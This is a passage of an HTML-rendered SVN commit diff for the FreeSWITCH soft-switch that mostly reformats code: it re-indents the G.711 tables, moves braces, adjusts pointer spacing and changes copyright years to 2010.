<li><a href="#freeswitchtrunksrcmodsaymod_say_thmod_say_thc">freeswitch/trunk/src/mod/say/mod_say_th/mod_say_th.c</a></li>
<li><a href="#freeswitchtrunksrcmodsaymod_say_zhmod_say_zhc">freeswitch/trunk/src/mod/say/mod_say_zh/mod_say_zh.c</a></li>
<li><a href="#freeswitchtrunksrcmodxml_intmod_xml_cdrmod_xml_cdrc">freeswitch/trunk/src/mod/xml_int/mod_xml_cdr/mod_xml_cdr.c</a></li>
<li><a href="#freeswitchtrunksrcmodxml_intmod_xml_curlmod_xml_curlc">freeswitch/trunk/src/mod/xml_int/mod_xml_curl/mod_xml_curl.c</a></li>
<li><a href="#freeswitchtrunksrcmodxml_intmod_xml_ldaplutil_ldaph">freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/lutil_ldap.h</a></li>
<li><a href="#freeswitchtrunksrcmodxml_intmod_xml_ldapmod_xml_ldapc">freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldap.c</a></li>
<li><a href="#freeswitchtrunksrcmodxml_intmod_xml_ldapmod_xml_ldapv2c">freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldapv2.c</a></li>
<li><a href="#freeswitchtrunksrcmodxml_intmod_xml_rpcmod_xml_rpcc">freeswitch/trunk/src/mod/xml_int/mod_xml_rpc/mod_xml_rpc.c</a></li>
<li><a href="#freeswitchtrunksrcswitchc">freeswitch/trunk/src/switch.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_aprc">freeswitch/trunk/src/switch_apr.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_bufferc">freeswitch/trunk/src/switch_buffer.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_callerc">freeswitch/trunk/src/switch_caller.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_channelc">freeswitch/trunk/src/switch_channel.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_configc">freeswitch/trunk/src/switch_config.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_consolec">freeswitch/trunk/src/switch_console.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_corec">freeswitch/trunk/src/switch_core.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_asrc">freeswitch/trunk/src/switch_core_asr.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_codecc">freeswitch/trunk/src/switch_core_codec.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_dbc">freeswitch/trunk/src/switch_core_db.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_directoryc">freeswitch/trunk/src/switch_core_directory.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_event_hookc">freeswitch/trunk/src/switch_core_event_hook.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_filec">freeswitch/trunk/src/switch_core_file.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_hashc">freeswitch/trunk/src/switch_core_hash.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_ioc">freeswitch/trunk/src/switch_core_io.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_media_bugc">freeswitch/trunk/src/switch_core_media_bug.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_memoryc">freeswitch/trunk/src/switch_core_memory.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_port_allocatorc">freeswitch/trunk/src/switch_core_port_allocator.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_rwlockc">freeswitch/trunk/src/switch_core_rwlock.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_sessionc">freeswitch/trunk/src/switch_core_session.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_speechc">freeswitch/trunk/src/switch_core_speech.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_sqldbc">freeswitch/trunk/src/switch_core_sqldb.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_state_machinec">freeswitch/trunk/src/switch_core_state_machine.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_core_timerc">freeswitch/trunk/src/switch_core_timer.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_cppcpp">freeswitch/trunk/src/switch_cpp.cpp</a></li>
<li><a href="#freeswitchtrunksrcswitch_dsoc">freeswitch/trunk/src/switch_dso.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_eventc">freeswitch/trunk/src/switch_event.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_ivrc">freeswitch/trunk/src/switch_ivr.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_ivr_asyncc">freeswitch/trunk/src/switch_ivr_async.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_ivr_bridgec">freeswitch/trunk/src/switch_ivr_bridge.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_ivr_menuc">freeswitch/trunk/src/switch_ivr_menu.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_ivr_originatec">freeswitch/trunk/src/switch_ivr_originate.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_ivr_play_sayc">freeswitch/trunk/src/switch_ivr_play_say.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_loadable_modulec">freeswitch/trunk/src/switch_loadable_module.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_logc">freeswitch/trunk/src/switch_log.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_mprintfc">freeswitch/trunk/src/switch_mprintf.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_natc">freeswitch/trunk/src/switch_nat.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_odbcc">freeswitch/trunk/src/switch_odbc.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_pcmc">freeswitch/trunk/src/switch_pcm.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_regexc">freeswitch/trunk/src/switch_regex.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_resamplec">freeswitch/trunk/src/switch_resample.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_rtpc">freeswitch/trunk/src/switch_rtp.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_schedulerc">freeswitch/trunk/src/switch_scheduler.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_stunc">freeswitch/trunk/src/switch_stun.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_swigc">freeswitch/trunk/src/switch_swig.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_timec">freeswitch/trunk/src/switch_time.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_utilsc">freeswitch/trunk/src/switch_utils.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_xmlc">freeswitch/trunk/src/switch_xml.c</a></li>
<li><a href="#freeswitchtrunksrcswitch_xml_configc">freeswitch/trunk/src/switch_xml_config.c</a></li>
</ul>

</div>
<div id="patch">
<h3>Diff</h3>
<a id="freeswitchtrunkbuildindent_optionssh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/build/indent_options.sh (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/build/indent_options.sh        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/build/indent_options.sh        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,5 +1,5 @@
</span><span class="cx"> #!/bin/sh
</span><span class="cx"> echo -n &quot;-brs -npsl -di0 -br -ce -d0 -cli0 -npcs -nfc1 -ut -i4 -ts4 -l155 -cs -T size_t &quot; &gt; ./.indent.pro
</span><del>-grep typedef `find ./src/include/ -name \*.h` | grep apr_ | grep -v &quot;\*\|{&quot;  | sed -e s/struct// | perl -ne '@l = split; $l[2] =~ s/;//g ; print &quot;-T $l[2] &quot;' &gt;&gt; ./.indent.pro
-grep typedef `find ./src/include/ -name \*.h` | grep switch_ | grep -v &quot;\*\|{&quot;  | sed -e s/struct// | perl -ne '@l = split; $l[2] =~ s/;//g ; print &quot;-T $l[2] &quot;' &gt;&gt; ./.indent.pro
</del><ins>+grep &quot;typedef struct.*_t;&quot; `find ./src/include/ -name \*.h` | grep apr_ | grep -v &quot;\*\|{&quot;  | sed -e s/struct// | perl -ne '@l = split; $l[2] =~ s/;//g ; print &quot;-T $l[2] &quot;' &gt;&gt; ./.indent.pro
+grep &quot;typedef struct.*_t;&quot; `find ./src/include/ -name \*.h` | grep switch_ | grep -v &quot;\*\|{&quot;  | sed -e s/struct// | perl -ne '@l = split; $l[2] =~ s/;//g ; print &quot;-T $l[2] &quot;' &gt;&gt; ./.indent.pro
</ins><span class="cx"> grep &quot;} switch_&quot; ./src/include/*.h | perl -ne '@l = split; $l[1] =~ s/;//g ; print &quot; -T $l[1] &quot;' &gt;&gt; ./.indent.pro
</span></span></pre></div>
<a id="freeswitchtrunksrcg711c"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/g711.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/g711.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/g711.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -35,58 +35,58 @@
</span><span class="cx"> #include &quot;g711.h&quot;
</span><span class="cx"> 
</span><span class="cx"> /* Copied from the CCITT G.711 specification */
</span><del>-static const uint8_t ulaw_to_alaw_table[256] =
-{
-     42,  43,  40,  41,  46,  47,  44,  45,  34,  35,  32,  33,  38,  39,  36,  37,
-     58,  59,  56,  57,  62,  63,  60,  61,  50,  51,  48,  49,  54,  55,  52,  53,
-     10,  11,   8,   9,  14,  15,  12,  13,   2,   3,   0,   1,   6,   7,   4,  26,
-     27,  24,  25,  30,  31,  28,  29,  18,  19,  16,  17,  22,  23,  20,  21, 106,
-    104, 105, 110, 111, 108, 109,  98,  99,  96,  97, 102, 103, 100, 101, 122, 120,
-    126, 127, 124, 125, 114, 115, 112, 113, 118, 119, 116, 117,  75,  73,  79,  77,
-     66,  67,  64,  65,  70,  71,  68,  69,  90,  91,  88,  89,  94,  95,  92,  93,
-     82,  82,  83,  83,  80,  80,  81,  81,  86,  86,  87,  87,  84,  84,  85,  85,
-    170, 171, 168, 169, 174, 175, 172, 173, 162, 163, 160, 161, 166, 167, 164, 165,
-    186, 187, 184, 185, 190, 191, 188, 189, 178, 179, 176, 177, 182, 183, 180, 181,
-    138, 139, 136, 137, 142, 143, 140, 141, 130, 131, 128, 129, 134, 135, 132, 154,
-    155, 152, 153, 158, 159, 156, 157, 146, 147, 144, 145, 150, 151, 148, 149, 234,
-    232, 233, 238, 239, 236, 237, 226, 227, 224, 225, 230, 231, 228, 229, 250, 248,
-    254, 255, 252, 253, 242, 243, 240, 241, 246, 247, 244, 245, 203, 201, 207, 205,
-    194, 195, 192, 193, 198, 199, 196, 197, 218, 219, 216, 217, 222, 223, 220, 221,
-    210, 210, 211, 211, 208, 208, 209, 209, 214, 214, 215, 215, 212, 212, 213, 213
</del><ins>+static const uint8_t ulaw_to_alaw_table[256] = {
+        42, 43, 40, 41, 46, 47, 44, 45, 34, 35, 32, 33, 38, 39, 36, 37,
+        58, 59, 56, 57, 62, 63, 60, 61, 50, 51, 48, 49, 54, 55, 52, 53,
+        10, 11, 8, 9, 14, 15, 12, 13, 2, 3, 0, 1, 6, 7, 4, 26,
+        27, 24, 25, 30, 31, 28, 29, 18, 19, 16, 17, 22, 23, 20, 21, 106,
+        104, 105, 110, 111, 108, 109, 98, 99, 96, 97, 102, 103, 100, 101, 122, 120,
+        126, 127, 124, 125, 114, 115, 112, 113, 118, 119, 116, 117, 75, 73, 79, 77,
+        66, 67, 64, 65, 70, 71, 68, 69, 90, 91, 88, 89, 94, 95, 92, 93,
+        82, 82, 83, 83, 80, 80, 81, 81, 86, 86, 87, 87, 84, 84, 85, 85,
+        170, 171, 168, 169, 174, 175, 172, 173, 162, 163, 160, 161, 166, 167, 164, 165,
+        186, 187, 184, 185, 190, 191, 188, 189, 178, 179, 176, 177, 182, 183, 180, 181,
+        138, 139, 136, 137, 142, 143, 140, 141, 130, 131, 128, 129, 134, 135, 132, 154,
+        155, 152, 153, 158, 159, 156, 157, 146, 147, 144, 145, 150, 151, 148, 149, 234,
+        232, 233, 238, 239, 236, 237, 226, 227, 224, 225, 230, 231, 228, 229, 250, 248,
+        254, 255, 252, 253, 242, 243, 240, 241, 246, 247, 244, 245, 203, 201, 207, 205,
+        194, 195, 192, 193, 198, 199, 196, 197, 218, 219, 216, 217, 222, 223, 220, 221,
+        210, 210, 211, 211, 208, 208, 209, 209, 214, 214, 215, 215, 212, 212, 213, 213
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> /* These transcoding tables are copied from the CCITT G.711 specification. To achieve
</span><span class="cx">    optimal results, do not change them. */
</span><span class="cx"> 
</span><del>-static const uint8_t alaw_to_ulaw_table[256] =
-{
-     42,  43,  40,  41,  46,  47,  44,  45,  34,  35,  32,  33,  38,  39,  36,  37,
-     57,  58,  55,  56,  61,  62,  59,  60,  49,  50,  47,  48,  53,  54,  51,  52,
-     10,  11,   8,   9,  14,  15,  12,  13,   2,   3,   0,   1,   6,   7,   4,   5,
-     26,  27,  24,  25,  30,  31,  28,  29,  18,  19,  16,  17,  22,  23,  20,  21,
-     98,  99,  96,  97, 102, 103, 100, 101,  93,  93,  92,  92,  95,  95,  94,  94,
-    116, 118, 112, 114, 124, 126, 120, 122, 106, 107, 104, 105, 110, 111, 108, 109,
-     72,  73,  70,  71,  76,  77,  74,  75,  64,  65,  63,  63,  68,  69,  66,  67,
-     86,  87,  84,  85,  90,  91,  88,  89,  79,  79,  78,  78,  82,  83,  80,  81,
-    170, 171, 168, 169, 174, 175, 172, 173, 162, 163, 160, 161, 166, 167, 164, 165,
-    185, 186, 183, 184, 189, 190, 187, 188, 177, 178, 175, 176, 181, 182, 179, 180,
-    138, 139, 136, 137, 142, 143, 140, 141, 130, 131, 128, 129, 134, 135, 132, 133,
-    154, 155, 152, 153, 158, 159, 156, 157, 146, 147, 144, 145, 150, 151, 148, 149,
-    226, 227, 224, 225, 230, 231, 228, 229, 221, 221, 220, 220, 223, 223, 222, 222,
-    244, 246, 240, 242, 252, 254, 248, 250, 234, 235, 232, 233, 238, 239, 236, 237,
-    200, 201, 198, 199, 204, 205, 202, 203, 192, 193, 191, 191, 196, 197, 194, 195,
-    214, 215, 212, 213, 218, 219, 216, 217, 207, 207, 206, 206, 210, 211, 208, 209
</del><ins>+static const uint8_t alaw_to_ulaw_table[256] = {
+        42, 43, 40, 41, 46, 47, 44, 45, 34, 35, 32, 33, 38, 39, 36, 37,
+        57, 58, 55, 56, 61, 62, 59, 60, 49, 50, 47, 48, 53, 54, 51, 52,
+        10, 11, 8, 9, 14, 15, 12, 13, 2, 3, 0, 1, 6, 7, 4, 5,
+        26, 27, 24, 25, 30, 31, 28, 29, 18, 19, 16, 17, 22, 23, 20, 21,
+        98, 99, 96, 97, 102, 103, 100, 101, 93, 93, 92, 92, 95, 95, 94, 94,
+        116, 118, 112, 114, 124, 126, 120, 122, 106, 107, 104, 105, 110, 111, 108, 109,
+        72, 73, 70, 71, 76, 77, 74, 75, 64, 65, 63, 63, 68, 69, 66, 67,
+        86, 87, 84, 85, 90, 91, 88, 89, 79, 79, 78, 78, 82, 83, 80, 81,
+        170, 171, 168, 169, 174, 175, 172, 173, 162, 163, 160, 161, 166, 167, 164, 165,
+        185, 186, 183, 184, 189, 190, 187, 188, 177, 178, 175, 176, 181, 182, 179, 180,
+        138, 139, 136, 137, 142, 143, 140, 141, 130, 131, 128, 129, 134, 135, 132, 133,
+        154, 155, 152, 153, 158, 159, 156, 157, 146, 147, 144, 145, 150, 151, 148, 149,
+        226, 227, 224, 225, 230, 231, 228, 229, 221, 221, 220, 220, 223, 223, 222, 222,
+        244, 246, 240, 242, 252, 254, 248, 250, 234, 235, 232, 233, 238, 239, 236, 237,
+        200, 201, 198, 199, 204, 205, 202, 203, 192, 193, 191, 191, 196, 197, 194, 195,
+        214, 215, 212, 213, 218, 219, 216, 217, 207, 207, 206, 206, 210, 211, 208, 209
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> uint8_t alaw_to_ulaw(uint8_t alaw)
</span><span class="cx"> {
</span><del>-    return alaw_to_ulaw_table[alaw];
</del><ins>+        return alaw_to_ulaw_table[alaw];
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx"> 
</span><span class="cx"> uint8_t ulaw_to_alaw(uint8_t ulaw)
</span><span class="cx"> {
</span><del>-    return ulaw_to_alaw_table[ulaw];
</del><ins>+        return ulaw_to_alaw_table[ulaw];
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx"> /*- End of file ------------------------------------------------------------*/
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeSimpleGlobh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/SimpleGlob.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/SimpleGlob.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/SimpleGlob.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -302,13 +302,17 @@
</span><span class="cx"> 
</span><span class="cx">         const char *GetFileNameS(char) const {
</span><span class="cx">                 return m_oFindDataA.cFileName;
</span><del>-        } const wchar_t *GetFileNameS(wchar_t) const {
</del><ins>+        }
+        const wchar_t *GetFileNameS(wchar_t) const {
</ins><span class="cx">                 return m_oFindDataW.cFileName;
</span><del>-        } bool IsDirS(char) const {
</del><ins>+        }
+        bool IsDirS(char) const {
</ins><span class="cx">                 return GetFileTypeS(m_oFindDataA.dwFileAttributes) == SG_FILETYPE_DIR;
</span><del>-        } bool IsDirS(wchar_t) const {
</del><ins>+        }
+        bool IsDirS(wchar_t) const {
</ins><span class="cx">                 return GetFileTypeS(m_oFindDataW.dwFileAttributes) == SG_FILETYPE_DIR;
</span><del>-        } SG_FileType GetFileTypeS(const char *a_pszPath) {
</del><ins>+        }
+        SG_FileType GetFileTypeS(const char *a_pszPath) {
</ins><span class="cx">                 return GetFileTypeS(GetFileAttributesA(a_pszPath));
</span><span class="cx">         }
</span><span class="cx">         SG_FileType GetFileTypeS(const wchar_t *a_pszPath) {
</span><span class="lines">@@ -390,10 +394,12 @@
</span><span class="cx">         const char *GetFileNameS(char) const {
</span><span class="cx">                 SG_ASSERT(m_uiCurr != (size_t) -1);
</span><span class="cx">                 return m_glob.gl_pathv[m_uiCurr];
</span><del>-        } bool IsDirS(char) const {
</del><ins>+        }
+        bool IsDirS(char) const {
</ins><span class="cx">                 SG_ASSERT(m_uiCurr != (size_t) -1);
</span><span class="cx">                 return m_bIsDir;
</span><del>-        } SG_FileType GetFileTypeS(const char *a_pszPath) const {
</del><ins>+        }
+        SG_FileType GetFileTypeS(const char *a_pszPath) const {
</ins><span class="cx">                 struct stat sb;
</span><span class="cx">                 if   (0 != stat(a_pszPath, &amp;sb)) {
</span><span class="cx">                         return SG_FILETYPE_INVALID;
</span><span class="lines">@@ -777,7 +783,7 @@
</span><span class="cx"> // ---------------------------------------------------------------------------
</span><span class="cx"> 
</span><span class="cx"> typedef CSimpleGlobTempl &lt; char &gt;CSimpleGlobA;        /*!&lt; @brief ASCII/MBCS version of CSimpleGlob */
</span><del>-typedef CSimpleGlobTempl &lt; wchar_t &gt;CSimpleGlobW;        /*!&lt; @brief wchar_t version of CSimpleGlob */
</del><ins>+typedef CSimpleGlobTempl &lt; wchar_t &gt; CSimpleGlobW;        /*!&lt; @brief wchar_t version of CSimpleGlob */
</ins><span class="cx"> #if defined(_UNICODE)
</span><span class="cx"> # define CSimpleGlob CSimpleGlobW        /*!&lt; @brief TCHAR version dependent on if _UNICODE is defined */
</span><span class="cx"> #else
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeprivateswitch_core_pvth"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/private/switch_core_pvt.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/private/switch_core_pvt.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/private/switch_core_pvt.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -115,7 +115,7 @@
</span><span class="cx">         switch_codec_implementation_t write_impl;
</span><span class="cx">         switch_codec_implementation_t video_read_impl;
</span><span class="cx">         switch_codec_implementation_t video_write_impl;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_audio_resampler_t *read_resampler;
</span><span class="cx">         switch_audio_resampler_t *write_resampler;
</span><span class="cx"> 
</span><span class="lines">@@ -130,7 +130,7 @@
</span><span class="cx">         void *streams[SWITCH_MAX_STREAMS];
</span><span class="cx">         int stream_count;
</span><span class="cx"> 
</span><del>-        char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
</del><ins>+        char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
</ins><span class="cx">         void *private_info;
</span><span class="cx">         switch_queue_t *event_queue;
</span><span class="cx">         switch_queue_t *message_queue;
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitchh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_aprh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_apr.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_apr.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_apr.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -40,12 +40,11 @@
</span><span class="cx"> #define SWITCH_APR_H
</span><span class="cx"> 
</span><span class="cx"> SWITCH_BEGIN_EXTERN_C
</span><del>-
</del><span class="cx"> #ifdef WIN32
</span><del>-typedef DWORD                switch_thread_id_t;
</del><ins>+typedef DWORD switch_thread_id_t;
</ins><span class="cx"> #else
</span><span class="cx"> #include &lt;pthread.h&gt;
</span><del>-typedef pthread_t             switch_thread_id_t;
</del><ins>+typedef pthread_t switch_thread_id_t;
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_thread_id_t) switch_thread_self(void);
</span><span class="lines">@@ -108,7 +107,7 @@
</span><span class="cx">  * @bug We aught to provide an alternative to RTLD_GLOBAL, which
</span><span class="cx">  * is the only supported method of loading DSOs today.
</span><span class="cx">  */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_dso_load(switch_dso_handle_t **res_handle, const char *path, switch_memory_pool_t *ctx);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_dso_load(switch_dso_handle_t ** res_handle, const char *path, switch_memory_pool_t *ctx);
</ins><span class="cx"> 
</span><span class="cx"> /**
</span><span class="cx">  * Close a DSO library.
</span><span class="lines">@@ -378,7 +377,7 @@
</span><span class="cx">  * it will behave as either a nested or an unnested lock.
</span><span class="cx">  *
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_mutex_init(switch_mutex_t **lock, unsigned int flags, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_mutex_init(switch_mutex_t ** lock, unsigned int flags, switch_memory_pool_t *pool);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> /**
</span><span class="lines">@@ -420,7 +419,7 @@
</span><span class="cx"> /** Opaque structure used for the rwlock */
</span><span class="cx">          typedef struct apr_thread_rwlock_t switch_thread_rwlock_t;
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_thread_rwlock_create(switch_thread_rwlock_t **rwlock, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_thread_rwlock_create(switch_thread_rwlock_t ** rwlock, switch_memory_pool_t *pool);
</ins><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_thread_rwlock_destroy(switch_thread_rwlock_t *rwlock);
</span><span class="cx"> SWITCH_DECLARE(switch_memory_pool_t *) switch_thread_rwlock_pool_get(switch_thread_rwlock_t *rwlock);
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_thread_rwlock_rdlock(switch_thread_rwlock_t *rwlock);
</span><span class="lines">@@ -454,7 +453,7 @@
</span><span class="cx">  *        will be stored.
</span><span class="cx">  * @param pool the pool from which to allocate the mutex.
</span><span class="cx">  */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_thread_cond_create(switch_thread_cond_t **cond, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_thread_cond_create(switch_thread_cond_t ** cond, switch_memory_pool_t *pool);
</ins><span class="cx"> 
</span><span class="cx"> /**
</span><span class="cx">  * Put the active calling thread to sleep until signaled to wake up. Each
</span><span class="lines">@@ -580,7 +579,7 @@
</span><span class="cx">  * @param queue_capacity maximum size of the queue
</span><span class="cx">  * @param pool a pool to allocate queue from
</span><span class="cx">  */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_queue_create(switch_queue_t **queue, unsigned int queue_capacity, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_queue_create(switch_queue_t ** queue, unsigned int queue_capacity, switch_memory_pool_t *pool);
</ins><span class="cx"> 
</span><span class="cx"> /**
</span><span class="cx">  * pop/get an object from the queue, blocking if the queue is already empty
</span><span class="lines">@@ -774,17 +773,14 @@
</span><span class="cx">  * @remark If perm is SWITCH_FPROT_OS_DEFAULT and the file is being created,
</span><span class="cx">  * appropriate default permissions will be used.
</span><span class="cx">  */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_file_open(switch_file_t **newf, const char *fname, int32_t flag, switch_fileperms_t perm,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_file_open(switch_file_t ** newf, const char *fname, int32_t flag, switch_fileperms_t perm,
</ins><span class="cx">                                                                                                  switch_memory_pool_t *pool);
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_file_seek(switch_file_t *thefile, switch_seek_where_t where, int64_t *offset);
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_file_copy(const char *from_path, 
-                                                                                                 const char *to_path,
-                                                                                                 switch_fileperms_t perms,
-                                                                                                 switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_file_copy(const char *from_path, const char *to_path, switch_fileperms_t perms, switch_memory_pool_t *pool);
</ins><span class="cx"> 
</span><span class="cx"> /**
</span><span class="cx">  * Close the specified file.
</span><span class="lines">@@ -844,7 +840,7 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_file_write(switch_file_t *thefile, const void *buf, switch_size_t *nbytes);
</span><span class="cx"> SWITCH_DECLARE(int) switch_file_printf(switch_file_t *thefile, const char *format, ...);
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_file_mktemp(switch_file_t **thefile, char *templ, int32_t flags, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_file_mktemp(switch_file_t ** thefile, char *templ, int32_t flags, switch_memory_pool_t *pool);
</ins><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_size_t) switch_file_get_size(switch_file_t *thefile);
</span><span class="cx"> 
</span><span class="lines">@@ -885,7 +881,7 @@
</span><span class="cx">          };
</span><span class="cx">          typedef struct switch_array_header_t switch_array_header_t;
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_dir_open(switch_dir_t **new_dir, const char *dirname, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_dir_open(switch_dir_t ** new_dir, const char *dirname, switch_memory_pool_t *pool);
</ins><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_dir_close(switch_dir_t *thedir);
</span><span class="cx"> SWITCH_DECLARE(const char *) switch_dir_next_file(switch_dir_t *thedir, char *buf, switch_size_t len);
</span><span class="cx"> 
</span><span class="lines">@@ -920,7 +916,7 @@
